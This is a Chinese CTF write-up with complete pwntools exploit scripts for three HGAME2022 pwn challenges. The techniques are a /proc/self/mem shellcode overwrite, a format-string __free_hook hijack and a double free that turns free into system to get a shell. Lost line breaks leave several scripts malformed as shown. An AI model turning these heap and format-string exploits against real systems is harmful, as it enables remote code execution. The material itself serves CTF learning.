PWN-COMPETITION-HGAME2022-Week2

PWN-COMPETITION-HGAME2022-Week2

    • blind
    • echo_sever
    • oldfashion_note

blind

访问/proc/self/mem即可修改当前进程的内存,.text段也是可修改的
程序开始的时候直接输出了write的地址,泄露libc,然后在__libc_start_main上喷射shellcode

# -*- coding:utf-8 -*-
from pwn import *
from pwnlib.util.iters import mbruteforce
import itertools
import hashlib
context.log_level="debug"
context.arch="amd64"
context.os="linux"
io=remote("chuj.top",51739)
libc=ELF("./libc6_2.27-3ubuntu1.4_amd64.so")io.recvuntil("sha256(????) == ")
code=io.recvuntil("\n")[:-1]
charset = string.printable
proof = mbruteforce(lambda x: hashlib.sha256((x).encode()).hexdigest() == code, charset, 4, method='fixed')
io.sendlineafter("????> ",proof)io.recvuntil("write: ")
write_addr=int(io.recvuntil("\n")[:-1],16)
print("write_addr=="+hex(write_addr))
libc_base=write_addr-libc.sym["write"]
__libc_start_main=libc_base+libc.sym["__libc_start_main"]io.sendlineafter(">> ", "/proc/self/mem\x00")io.sendlineafter(">> ", str(__libc_start_main))payload=asm(shellcraft.sh()).rjust(0x300, asm("nop")) +"\n"
io.sendafter(">> ", payload)io.interactive()

echo_sever

堆上的格式化字符串漏洞
echo-main
当输入的v0为0时,realloc(ptr,0)相当于free(ptr)
于是考虑将free_hook写为one-gadget

# -*- coding:utf-8 -*-
from pwn import *
import hashlib
context.log_level="debug"
io=process("./echo")
#io=remote("chuj.top",52100)
elf=ELF("./echo")
libc=ELF("./libc-2.31.so")#io_base = io.libs()[io.cwd + io.argv[0].strip('.')]
#offset=0x129F
#gdb.attach(io,"b * "+str(io_base+offset))
#pause()def get_pwd(str, num):if(num == 1):for x in str:yield xelse:for x in str:for y in get_pwd(str, num-1):yield x+ystrKey=""
for i in range(33,127):strKey+=chr(i)#io.recvuntil("sha256(????) == ")
#code=io.recvuntil("\n")[:-1]
#for x in get_pwd(strKey,4):
#	h=hashlib.sha256()
#	h.update(x.encode(encoding='utf-8'))
#	h_hexdigest=h.hexdigest()
#	if h_hexdigest==code:
#		io.sendline(x)
#		break#泄露libc基址,栈地址,程序基址
payload="%13$p.%15$p.%17$p.".ljust(100,"\x00")
io.sendlineafter("length:\n>> ",str(len(payload)))
io.send(payload)
io.recvuntil("0x")
libc_base=int(io.recvuntil(".")[:-1],16)-243-libc.sym["__libc_start_main"] #libc基址
print("libc_base=="+hex(libc_base))
io.recvuntil("0x")
stack_addr=int(io.recvuntil(".")[:-1],16) #栈地址
print("stack_addr=="+hex(stack_addr))
io.recvuntil("0x")
proc_base=int(io.recvuntil(".")[:-1],16)-elf.sym["main"] #程序基址
print("proc_base=="+hex(proc_base))free_hook=libc_base+libc.sym["__free_hook"]#free_hook地址
print("free_hook=="+hex(free_hook))
oggs=[0xe6c7e,0xe6c81,0xe6c84]
ogg=libc_base+oggs[0] # one-gadget地址
print("ogg=="+hex(ogg))#在free_hook地址出写ogg的低2字节
#
addr1=stack_addr-0xB0
addr1=addr1&0xffff
payload="%"+str(addr1)+"c"+"%15$hn".ljust(100,"\x00")
io.sendlineafter("length:\n>> ",str(len(payload)))
io.send(payload)#
addr2=free_hook&0xffff
payload="%"+str(addr2)+"c"+"%43$hn".ljust(100,"\x00")
io.sendlineafter("length:\n>> ",str(len(payload)))
io.send(payload)#
addr3=stack_addr-0xB0+2
addr3=addr3&0xffff
payload="%"+str(addr3)+"c"+"%15$hn".ljust(100,"\x00")
io.sendlineafter("length:\n>> ",str(len(payload)))
io.send(payload)#
addr4=(free_hook>>16)&0xffff
payload="%"+str(addr4)+"c"+"%43$hn".ljust(100,"\x00")
io.sendlineafter("length:\n>> ",str(len(payload)))
io.send(payload)#
addr5=stack_addr-0xB0+4
addr5=addr5&0xffff
payload="%"+str(addr5)+"c"+"%15$hn".ljust(100,"\x00")
io.sendlineafter("length:\n>> ",str(len(payload)))
io.send(payload)#
addr6=(free_hook>>32)&0xffff
payload="%"+str(addr6)+"c"+"%43$hn".ljust(100,"\x00")
io.sendlineafter("length:\n>> ",str(len(payload)))
io.send(payload)#
addr7=(ogg)&0xffff
payload="%"+str(addr7)+"c"+"%21$hn".ljust(100,"\x00")
io.sendlineafter("length:\n>> ",str(len(payload)))
io.send(payload)##########################################################################################在free_hook+2地址出写ogg的中间2字节
#
addr1=stack_addr-0xB0
addr1=addr1&0xffff
payload="%"+str(addr1)+"c"+"%6$hn".ljust(100,"\x00")
io.sendlineafter("length:\n>> ",str(len(payload)))
io.send(payload)#
addr2=(free_hook+2)&0xffff
payload="%"+str(addr2)+"c"+"%10$hn".ljust(100,"\x00")
io.sendlineafter("length:\n>> ",str(len(payload)))
io.send(payload)#
addr7=(ogg>>16)&0xffff
payload="%"+str(addr7)+"c"+"%21$hn".ljust(100,"\x00")
io.sendlineafter("length:\n>> ",str(len(payload)))
io.send(payload)##########################################################################################在free_hook+4地址出写ogg的高2字节
#
addr1=stack_addr-0xB0
addr1=addr1&0xffff
payload="%"+str(addr1)+"c"+"%6$hn".ljust(100,"\x00")
io.sendlineafter("length:\n>> ",str(len(payload)))
io.send(payload)#
addr2=(free_hook+4)&0xffff
payload="%"+str(addr2)+"c"+"%10$hn".ljust(100,"\x00")
io.sendlineafter("length:\n>> ",str(len(payload)))
io.send(payload)#
addr7=(ogg>>32)&0xffff
payload="%"+str(addr7)+"c"+"%21$hn".ljust(100,"\x00")
io.sendlineafter("length:\n>> ",str(len(payload)))
io.send(payload)#发送0,使realloc(ptr,0)相当于free(ptr),触发free_hook,执行one-gadget
io.sendlineafter("length:\n>> ",str(0))#pause()io.interactive()

oldfashion_note

delete_note函数存在UAF和double free漏洞
UAF可以泄露libc基址
double free可以让新的chunk能够malloc到free_hook地址处
写free_hook为system,于是free("/bin/sh\x00")相当于system("/bin/sh\x00"),从而getshell

from pwn import *
import hashlib
context.log_level="debug"
io=process("./note")
#io=remote("chuj.top",51585)
elf=ELF("./note")
libc=ELF("./libc-2.31.so")def get_pwd(str, num):if(num == 1):for x in str:yield xelse:for x in str:for y in get_pwd(str, num-1):yield x+ystrKey=""
for i in range(33,127):strKey+=chr(i)#io.recvuntil(b"sha256(????) == ")
#code=io.recvuntil("\n")[:-1]
#for x in get_pwd(strKey,4):
#	h=hashlib.sha256()
#	h.update(x.encode(encoding='utf-8'))
#	h_hexdigest=h.hexdigest()
#	if h_hexdigest==code:
#		io.sendline(x)
#		breakdef alloc(idx,size,content):io.sendlineafter(">> ","1")io.recvuntil("index?\n>> ")io.sendline(str(idx))io.recvuntil("size?\n>> ")io.sendline(str(size))io.recvuntil("content?\n>> ")io.sendline(content)def free(idx):io.sendlineafter(">> ","3")io.recvuntil("index?\n>> ")io.sendline(str(idx))def show(idx):io.sendlineafter(">> ","2")io.recvuntil("index?\n>> ")io.sendline(str(idx))for i in range (7):alloc(i,0x100,'aaaa')alloc(7,0x100,'aaaa')
alloc(8,0x20,'/bin/sh\x00')
for i in range (7):free(i)free(7)
show(7)
libc_base=u64(io.recvuntil('\n')[:-1].ljust(8,'\x00'))-0x1ebbe0
print("libc_base=="+hex(libc_base))
system=libc_base+libc.sym["system"]
print("system=="+hex(system))
free_hook=libc_base+libc.sym["__free_hook"]
print("free_hook=="+hex(free_hook))for i in range (7):alloc(i,0x50,'aaaa')alloc(7,0x50,'aaaa')
alloc(8,0x50,'aaaa')
alloc(9,0x20,'/bin/sh\x00')
for i in range (7):free(i)free(7)
free(8)
free(7)for i in range (7):alloc(i,0x50,'aaaa')alloc(10,0x50,p64(free_hook))
alloc(11,0x50,p64(free_hook))
alloc(12,0x50,p64(free_hook))
alloc(13,0x50,p64(system))free(9)io.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/437981.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Sharepoint学习笔记—Site Definition系列-- 1、创建Site Columns

https://www.cnblogs.com/wsdj-ITtech/archive/2012/08/12/2470219.html Site Columns是Sharepoint网站的一个重要底层结构,它是一类可重用的列定义或模板,可以将其分配给一个或多个 SharePoint 网站的一个或多个列表。 一个Site Column是由几个属性定义…

利用Cloudflare为基于GitHub Pages的Hexo博客添加HTTPS支持

2022-01-25 更新:博客新地址:https://www.itbob.cn/,文章距上次编辑时间较远,部分内容可能已经过时! 文章目录● 前言● 注册 Cloudflare● 添加站点● 修改DNS● 开启 HTTPS● 重定向强制 HTTPSHTTP(超文本…

REVERSE-COMPETITION-HGAME2022-Week2

REVERSE-COMPETITION-HGAME2022-Week2xD MAZEupx magic 0fake shellcreakme2upx magic 1xD MAZE 迷宫题,不过不是上下左右,而是只有前进 0-512,1-64,2-8,3-1 每一次v14加上前进的单位后,需要保证map[v14]3…

Github+jsDelivr+PicGo 打造稳定快速、高效免费图床

2022-01-25 更新:博客新地址:https://www.itbob.cn/,文章距上次编辑时间较远,部分内容可能已经过时! 本文原创首发于我的个人博客:www.itrhx.com,欢迎访问! 本文在我个人博客上的链接…

用于科研的移动机器人平台推荐

作者:知乎用户 链接:https://www.zhihu.com/question/59738106/answer/268510238 来源:知乎 著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。 最近看到一篇介绍机器人移动平台的文章,与题主分…

turtlebot3入门教程

旨在用于教育,研究,产品原型和爱好应用的目的。 TurtleBot3的目标是大幅降低平台的尺寸和价格,而不会牺牲性能,功能和质量。 由于提供了不同可选,如底盘,计算机和传感器,TurtleBot3可以通过各…

程序员必须掌握的核心算法有哪些?

由于我之前一直强调数据结构以及算法学习的重要性,所以就有一些读者经常问我,数据结构与算法应该要学习到哪个程度呢?,说实话,这个问题我不知道要怎么回答你,主要取决于你想学习到哪些程度,不过…

UI设计工具比较:Sketch、Adobe XD、墨刀、Mockplus、Axure RP

UI设计工具,分为2个派系。 其中,最大、最主流的派系,是Sketch、Adobe XD、墨刀这个派系。 这个派系的软件,操作方式、思路都非常接近,连常用快捷键都一样,会一个就等于都会了。 在一个无限大的画布上&…

光学字符识别 Tesseract-OCR 的下载、安装和基本用法

OCR:即Optical Character Recognition,光学字符识别,是指检查纸或者图片上打印的字符,通过检测暗、亮的模式确定其形状,然后用字符识别方法将形状翻译成计算机文字的过程; Tesseract-OCR:一款由…

界面原型设计工具Balsamiq、墨刀、Axure、Mockplus

Balsamiq的体验 这个基于Adobe AIR Runtime的工具实在是有让人眼前一亮的感觉,手绘风格的元件样式粗犷淋漓,能创建接近于纸上手绘的原型文件。其提供了丰富的手绘风格的web常用元件,包括常用的html控件、以及一些组合控件,如多媒体…

PWN-COMPETITION-HGAME2022-Week3

PWN-COMPETITION-HGAME2022-Week3changeable_noteelder_notesized_notechangeable_note edit_note中的gets函数存在堆溢出漏洞 本题没有leak函数,考虑利用_IO_2_1_stdout泄露libc 参考:好好说话之IO_FILE利用(1):利用…

利用官方支持为基于GitHub Pages的Hexo博客启用HTTPS

2022-01-25 更新:博客新地址:https://www.itbob.cn/,文章距上次编辑时间较远,部分内容可能已经过时! HTTP(超文本传输协议),是一个基于请求与响应,无状态的,应…

标注功能介绍

Mockplus3.5.0.1版本中,新增了标注功能。多种标注模式,智能生成,随时查看。原型设计效率更高。 Mockplus的标注功能有以下四种模式: 1、无选中标注 在未选中任何组件时,按住Ctrl键,鼠标经过某个组件&#…

REVERSE-COMPETITION-HGAME2022-Week3

REVERSE-COMPETITION-HGAME2022-Week3Answers Windowscreakme3hardenedfishmanAnswer’s Windows 含有GUI的程序,ida打开,ShiftF12打开字符串窗口,发现"right"和"wrong" 对"right"查找交叉引用,来…

Python3 爬虫学习笔记 C01 【基本库 urllib 的使用】

Python3 爬虫学习笔记第一章 —— 【基本库 urllib 的使用】文章目录【1.1】 urllib 简介 【1.2】 urllib.request 发送请求【1.2.1】 urllib.request.urlopen() 【1.2.1.1】 基本使用方法【1.2.1.2】 添加参数● data 参数● timeout 参数【1.2.2】 urllib.request.Request()【…

NuGet的简单使用

什么是NuGet? NuGet(读作New Get)是用于微软.NET开发平台的软件包管理器,是一个Visual Studio的扩展。在使用Visual Studio开发基于.NET Framework的应用时,NuGet能够令你在项目中添加、移除和更新引用的工作变得更加…

PWN-COMPETITION-HGAME2022-Week4

PWN-COMPETITION-HGAME2022-Week4vectorvector c写的pwn,实现了vector,没有edit功能,新增了move功能 add或move时,如果输入的下标大于vector的size,vector会进行resize扩容 旧vector占用的chunk自动被free掉进入相应的…

Python3 爬虫学习笔记 C02 【基本库 requests 的使用】

Python3 爬虫学习笔记第二章 —— 【基本库 requests 的使用】文章目录【2.1】 requests 简介【2.2】 requests 基本用法 【2.3】 requests 构建 GET 请求 【2.3.1】 基本用法【2.3.2】 二进制数据抓取 【2.3.3】 添加 headers【2.4】 requests 构建 POST 请求 【2.5】 request…

REVERSE-COMPETITION-HGAME2022-Week4

REVERSE-COMPETITION-HGAME2022-Week4( WOW )serverezvmhardasm( WOW ) 32位exe,ida打开 观察伪代码逻辑,上面的红框中,输入经过加密,密文放入Buf2中,然后Buf2和已知的密文res比较 比较完,打印"win&q…

VB编程语言简史

Visual Basic从1991年诞生以来,现在已经13年了。BASIC是微软的起家产品,微软当然不忘了这位功臣。随着每一次微软技术的浪潮,Visual Basic都会随之获得新生。可以预见,将来无论微软又发明了什么技术或平台,Visual Basi…